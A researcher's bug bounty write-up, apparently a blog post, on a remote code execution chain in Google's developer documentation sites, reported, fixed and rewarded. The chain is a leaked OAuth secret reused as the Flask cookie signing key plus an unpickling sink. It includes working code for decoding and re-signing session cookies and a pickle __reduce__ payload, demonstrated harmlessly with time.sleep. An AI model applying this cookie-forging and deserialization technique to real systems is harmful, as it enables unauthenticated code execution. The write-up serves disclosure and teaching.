How I Found a $90,000 Remote Code Execution Vulnerability in Google

How I Found a $90,000 Remote Code Execution Vulnerability in Google - Simon Koeck, Simon Koeck.

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Content

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How I found it

I was mapping the OAuth flow that Google's developer docs sites all share. You hit `/oauth2authorize`, it sets a Flask session cookie and redirects you to Google's sign-in page. No account needed:

```
curl -s -D headers.txt -o /dev/null \
  'https://developers.google.com/oauth2authorize?return_url=%2F'
```

The cookie caught my eye. It had Flask's usual three-part `session=<payload>.<timestamp>.<signature>` format, but at about 1,200 bytes it seemed large for a CSRF token and a return URL. So I decoded it.

Flask session cookies are signed, not encrypted, so the contents are right there for anyone holding one. The leading dot means the payload is zlib-compressed:

```
import base64
import json
import pickletools
import zlib

payload, timestamp, signature = cookie.rsplit(".", 2)

def b64decode(value):
    return base64.urlsafe_b64decode(value + "=" * (-len(value) % 4))

compressed = payload.startswith(".")
raw = b64decode(payload[1:] if compressed else payload)
session = json.loads(zlib.decompress(raw) if compressed else raw)
```

That gave me:

```
{
  "_permanent": true,
  "google_oauth2_csrf_token": "...",
  "google_oauth2_flow_<csrf>": {
    " b": "..."
  }
}
```

The `" b"` key is Flask tagging a bytes value. Base64-decoding it gave me a pickle, and `pickletools.dis` printed an `oauth2client.client.OAuth2WebServerFlow` object with its fields:

```
client_id     = "<redacted>.apps.googleusercontent.com"
client_secret = b"<redacted>"
```

The cookie contained a pickle-serialized payload and Google's OAuth `client_id` and `client_secret` in plaintext. (The secret is redacted here; it was still live at the time of writing.)

I tried the client secret as the Flask `SECRET_KEY`, and the signature on the issued cookie validated against it. The signing key was stored inside the object it signs.

One secret, two jobs

The leaked client secret was already a problem. I wanted to confirm whether it also signed the session, rather than rely on a guess.

Flask signs through `itsdangerous` with the `cookie-session` key derivation, so I recomputed the signature offline:

```
import hmac

derived_key = hmac.digest(client_secret, b"cookie-session", "sha1")
expected = hmac.digest(
    derived_key,
    f"{payload}.{timestamp}".encode(),
    "sha1",
)
```

`expected` came out byte-for-byte identical to the signature on the cookie I'd been handed seconds earlier. To be sure it wasn't a fluke I flipped one character of the signature (rejected) and re-signed the original payload with the recovered secret (accepted). Session integrity was gone. I could set every key and value in the session and still produce a signature the server would take.

The callback reads the flow back out of the session and unpickles it:

```
session cookie
  -> verify Flask signature
  -> read google_oauth2_flow_<csrf>
  -> base64-decode the bytes
  -> pickle.loads(...)
```

That `pickle.loads` is only "safe" as long as nobody else can forge a valid cookie. Once the key is public, that assumption is worthless. I built my own session with a made-up CSRF token and put whatever pickle I wanted under the matching flow key:

```
session = {
    "_permanent": True,
    "google_oauth2_csrf_token": "attacker-chosen",
    "google_oauth2_flow_attacker-chosen": {
        " b": base64.b64encode(attacker_blob).decode()
    },
}
```

The `state` parameter is mine too, so nothing needs to line up on the server's end. It checks my signature, finds my flow entry, and passes the bytes to `pickle.loads`.

If you haven't played with pickle before: the `REDUCE` opcode names a callable and its arguments, and unpickling just calls it. A public signing key plus this sink is unauthenticated RCE.

I wasn't about to run commands on Google's production, so I proved it with time. The payload reduced to `time.sleep(N)`:

```
class Sleep:
    def __init__(self, seconds):
        self.seconds = seconds

    def __reduce__(self):
        return (time.sleep, (self.seconds,))
```

Same forged session every time, only the number changed:

```
time.sleep(0) -> 0.207 s
time.sleep(3) -> 3.193 s
time.sleep(5) -> 5.194 s
time.sleep(8) -> 8.283 s
```

The response time tracked the number in the pickle, consistent with the server calling `sleep(N)` during unpickling.

I also tried a few controls to rule out a slow endpoint or jitter:

- No cookie: `Invalid request`.
- One flipped byte in the signature: `Invalid request`.
- Valid signature, no flow entry: `Invalid request state`.
- Valid signature with the real flow: reached Google's token exchange and failed later with `invalid_grant` on my fake auth code.
- Valid signature with the sleep payload: delayed by exactly the number I picked.

How far it went

The same key worked beyond `developers.google.com`. I tested valid sessions on these DevSite hosts:

- `firebase.google.com`
- `developer.android.com`
- `source.android.com`
- `docs.partner.android.com`

Fixing it

Four changes would address the chain:

- Rotate both exposed OAuth client secrets and kill every session signed with them.
- Give each deployment its own high-entropy Flask `SECRET_KEY` from a server-side store, with nothing to do with an OAuth credential.

- Keep the OAuth flow object on the server. The cookie should hold an opaque reference and nothing sensitive.
- Drop `pickle` for anything crossing a client boundary. A data-only format with a schema check makes a forged cookie inert.

The chain depended on the exposed secret, its reuse as the signing key, and the callback unpickling data from the session.

Timeline

- Aug 6, 2026 · 22:48

Report submitted

- Aug 7, 2026 · 08:12

Triaged

- Aug 7, 2026 · 16:23

Accepted

- Within ~24 hours

Hotfix deployed

- Aug 27, 2026

Reward decided: $90,000

Normal Google Applications (T2), S0 RCE: $75,000 base × 1.2 for exceptional report quality.

- Oct 7, 2026 · 15:20

Status updated to fixed

Thanks to the Google Bug Hunters team and the DevSite engineers for investigating and fixing this issue.

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